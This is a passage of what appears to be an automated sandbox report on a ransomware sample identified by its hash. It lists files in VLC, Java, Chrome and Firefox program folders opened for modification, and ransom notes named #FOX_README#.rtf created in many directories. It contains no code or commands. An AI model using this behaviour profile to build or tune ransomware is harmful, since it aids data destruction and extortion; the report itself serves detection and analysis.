Files\VideoLAN\VLC\plugins\access\libbluray-j2se-1.0.2.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jstat.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\jjs.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\03_lastfm.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-util-enumerations.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvmstat.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\bin\server\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaTypewriterRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-heapdump.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\83.0.4103.106\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-explorer_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\tools.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\pl.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\plugin.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-charts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\WaitUnpublish.mpa f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setEmbeddedCP f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-util_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\cacerts f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\derby_common.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBlue.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_gtk.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\lt.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\README.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-api-annotations-common.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-core.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\startNetworkServer f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javac.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setEmbeddedCP.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-options-keymap.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\management-agent.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-threaddump.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf_3.4.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\RELEASE-NOTES.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_win7.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ml.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\jconsole.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-nodes_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application-views.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\LINEAR_RGB.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\GRAY.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-swing-outline.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher_1.3.0.v20140415-2008.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\WidevineCdm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jinfo.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaBrightRegular.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\security\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-spi-quicksearch.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\fi.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\sandbox.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\am.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-text.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jmx.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\dropins\README.TXT f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\jaccess.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.ssl_1.1.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiling_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\updater.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\ij f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\java.policy f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core_2.3.0.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\keytool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\removed-files f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-settings.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs-nio2.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\psfontj2d.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\jfluid-server-15.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\jabswitch.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\sv.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fontconfig.bfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\NetworkServerControl f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\COPYRIGHT f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\THIRDPARTYLICENSEREADME.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\rmic.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-multitabs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 